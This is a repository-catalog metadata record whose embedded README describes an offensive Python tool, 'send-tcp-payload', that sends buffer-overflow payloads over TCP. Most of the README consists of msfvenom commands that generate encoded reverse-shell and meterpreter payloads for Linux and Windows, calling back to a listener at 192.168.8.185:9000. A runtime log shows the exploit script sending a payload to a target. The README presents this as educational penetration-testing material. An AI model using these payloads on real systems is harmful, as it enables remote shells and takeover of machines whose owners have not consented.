{"id":15374432,"url":"https://github.com/ivan-sincek/send-tcp-payload","last_synced_at":"2025-10-16T17:30:18.626Z","repository":{"id":107019531,"uuid":"279283608","full_name":"ivan-sincek/send-tcp-payload","owner":"ivan-sincek","description":"Send a payload through TCP.","archived":false,"fork":false,"pushed_at":"2023-04-27T20:45:38.000Z","size":4,"stargazers_count":0,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"master","last_synced_at":"2024-10-17T16:21:18.322Z","etag":null,"topics":["buffer-overflow","ethical-hacking","networking","offensive-security","payload","penetration-testing","python","red-team-engagement","security","tcp"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ivan-sincek.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-07-13T11:28:03.000Z","updated_at":"2024-08-12T20:03:41.000Z","dependencies_parsed_at":null,"dependency_job_id":"fc149d63-11b7-4521-9ea9-d4865600914f","html_url":"https://github.com/ivan-sincek/send-tcp-payload","commit_stats":{"total_commits":1,"total_committers":1,"mean_commits":1.0,"dds":0.0,"last_synced_commit":"40fc86876d4d183d562717ddfe6d10a714753552"},"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fsend-tcp-payload","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fsend-tcp-payload/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fsend-tcp-payload/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ivan-sincek%2Fsend-tcp-payload/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ivan-sincek","download_url":"https://codeload.github.com/ivan-sincek/send-tcp-payload/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":236738684,"owners_count":19196962,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["buffer-overflow","ethical-hacking","networking","offensive-security","payload","penetration-testing","python","red-team-engagement","security","tcp"],"created_at":"2024-10-01T13:58:46.724Z","updated_at":"2025-10-16T17:30:18.302Z","avatar_url":"https://github.com/ivan-sincek.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Send TCP Payload\n\nSend a payload through TCP.\n\nTested on Kali Linux v2023.1 (64-bit).\n\nMade for educational purposes. I hope it will help!\n\n## How to Run\n\n**Change the IP address, port number, and payload inside the scripts as necessary.**\n\nOpen your preferred console from [/src/](https://github.com/ivan-sincek/send-tcp-payload/tree/master/src) and run the following Bash command:\n\n```fundamental\npython3 exploit.py\n```\n\n## JMP ESP\n\nTo do.\n\n## Generate a Reverse Shell Payload\n\nTo generate a reverse shell payload for `Linux OS`, use one of the following MSFvenom commands (modify them to your need):\n\n```fundamental\nmsfvenom --platform linux -a x86 -e x86/shikata_ga_nai -p linux/x86/shell_reverse_tcp LHOST=192.168.8.185 PORT=9000 EXITFUNC=thread -f python -b \\x00\\x0a\\x0d\\xff\n\nmsfvenom --platform linux -a x64 -e x64/xor -p linux/x64/shell_reverse_tcp LHOST=192.168.8.185 PORT=9000 EXITFUNC=thread -f python -b \\x00\\x0a\\x0d\\xff\n\nmsfvenom --platform linux -a x86 -e x86/shikata_ga_nai -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.8.185 PORT=9000 EXITFUNC=thread -f python\n\nmsfvenom --platform linux -a x64 -e x64/xor -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.8.185 PORT=9000 EXITFUNC=thread -f python\n```\n\nTo generate a reverse shell payload for `Windows OS`, use one of the following MSFvenom commands (modify them to your need):\n\n```fundamental\nmsfvenom --platform windows -a x86 -e x86/shikata_ga_nai -p windows/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f python -b \\x00\\x0a\\x0d\\xff\n\nmsfvenom --platform windows -a x64 -e x64/xor -p windows/x64/shell_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f python -b \\x00\\x0a\\x0d\\xff\n\nmsfvenom --platform windows -a x86 -e x86/shikata_ga_nai -p windows/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f python\n\nmsfvenom --platform windows -a x64 -e x64/xor -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.8.185 LPORT=9000 EXITFUNC=thread -f python\n```\n\n## Runtime\n\n```fundamental\n┌──(root💀kali)-[~/Desktop]\n└─# python3 exploit.py\nConnecting to the target 192.168.8.185:9000\nSending the payload... Size in bytes: 348\n\nWaiting for the response...\nWaiting for the response timed out\nNo response has been received or is empty\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fsend-tcp-payload","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fivan-sincek%2Fsend-tcp-payload","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fivan-sincek%2Fsend-tcp-payload/lists"}